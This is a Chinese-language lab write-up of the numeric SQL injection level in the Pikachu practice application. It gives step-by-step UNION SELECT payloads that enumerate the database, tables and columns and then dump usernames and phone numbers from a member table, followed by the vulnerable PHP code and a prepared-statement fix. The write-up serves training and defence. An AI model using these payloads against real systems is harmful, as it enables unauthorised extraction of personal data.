摘要 / 前言:
在结束了暴力破解、XSS 和 CSRF 的练习后,通过第 18 篇笔记,正式开始 SQL 注入(SQL Injection)的实战。SQL 注入是 OWASP Top 10 中的常客,危害极大。本关是 Pikachu SQL 注入章节的第一关: 数字型注入(Numeric Injection),主要考察对后端 SQL 语句拼接方式的理解以及联合查询(Union Select)的使用。
一、漏洞分析
打开页面,发现是一个下拉框选择用户 ID 的功能。点击“查询”后,后端会返回对应的用户信息(用户名和邮箱)。
1. 抓包分析
使用 Burp Suite 进行抓包,查看 HTTP 请求详情:
- 请求方式 :POST
- 请求路径 :
/vul/sqli/sqli_id.php - 关键参数 :
id
POST /vul/sqli/sqli_id.php HTTP/1.1
Host: localhost:8899
Content-Type: application/x-www-form-urlencoded
...
id=1&submit=%E6%9F%A5%E8%AF%A2
因为参数 id 传输的是数字(如 1, 2, 3),且后端大概率是直接将其拼接到 SQL 语句中,例如:select * from users where id = $id。如果不加引号包裹,这就是典型的数字型注入。
二、注入测试流程
1. 验证注入点 (Boolean Verification)
尝试构造恒真条件,查看页面回显是否变化。
将 id 的值修改为 1 or 1=1(URL 编码中空格往往用 + 代替)。
- Payload:
sql id=1+or+1=1&submit=%E6%9F%A5%E8%AF%A2 - 结果: 页面返回了所有用户的信息。这意味着后端执行了
select ... where id = 1 or 1=1,条件永远为真,证明存在 SQL 注入漏洞。

2. 判断字段数 (Order By)
使用 order by 语句来判断当前查询结果包含几列。
- Payload:
sql id=1+order+by+2&submit=%E6%9F%A5%E8%AF%A2 - 结果: 页面正常显示,说明至少有 2 列。若尝试
order by 3报错,则说明只有 2 列。(“若 order by 3 不报错,可继续增大数值直到报错”)


3. 确定回显位置 (Union Select)
使用联合查询确定哪一列的数据会显示在页面上。
- Payload:
sql id=1+union+select+1,2&submit=%E6%9F%A5%E8%AF%A2 - 结果: 页面回显:hello,1
your email is: 2 说明两个位置(1 和 2)均可用于回显数据。

三、深入利用(获取数据)
1. 获取数据库名和版本
在回显位置填入数据库函数 database() 和 version()。
- Payload:
sql id=1+union+select+database(),version()&submit=%E6%9F%A5%E8%AF%A2 - 获取信息:
- 当前数据库:
pikachu - 数据库版本:
5.7.26...(或其他版本号)
- 当前数据库:
2. 获取表名 (Get Tables)
查询 information_schema.tables 获取当前数据库下的所有表名。
- 注:
group_concat():合并多行结果为一行,避免页面只显示部分表名 / 数据,常用于 sql 注入。 - 注:
information_schema:MySQL 系统表,存储数据库、表、字段的元数据(如下图)。

- Payload:
sql id=1+union+select+database(),group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'&submit=%E6%9F%A5%E8%AF%A2 - 获取信息: 得到表名列表,其中包括关键表
member。

3. 获取列名 (Get Columns)
针对感兴趣的 member 表,查询其字段名。
- Payload:
sql id=1+union+select+database(),group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='member'&submit=%E6%9F%A5%E8%AF%A2 - 获取信息: 得到列名
id,username,pw,sex,phonenum,email,address等。
4. 获取具体数据 (Dump Data)
最后,查询 member 表中的用户名、性别和手机号等敏感信息。
- Payload:
sql id=1+union+select+database(),group_concat(username,sex,phonenum)+from+member&submit=%E6%9F%A5%E8%AF%A2 - 结果: 成功回显出所有用户的详细信息,至此完成了一次完整的数据脱取。

四、总结与防御
漏洞成因:
后端代码在接收 id 参数后,没有进行任何过滤,也没有使用引号包裹(因为是数字型),直接将其拼接到 SQL 查询语句中执行。
if(isset($_POST['submit']) && $_POST['id']!=null){
// 这里没有做任何处理,直接拼到 select 里面去了, 形成 Sql 注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
// 这里如果用 ==1, 会严格一点
if(mysqli_num_rows($result)>=1){while($data=mysqli_fetch_assoc($result)){$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{$html.="<p class='notice'> 您输入的 user id 不存在,请重新输入!</p>";}
}
防御方案:
- 判断输入类型: 在后端代码中判断
id是否为整数(例如使用is_numeric()函数),如果不是数字直接拦截。 - 预编译语句(推荐): 使用 PDO 或 MySQLi 的参数化查询(Prepared Statements),这是防御 SQL 注入最有效的方法。
// 错误示例
$sql = "SELECT * FROM users WHERE id = $id";
// 正确示例 (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);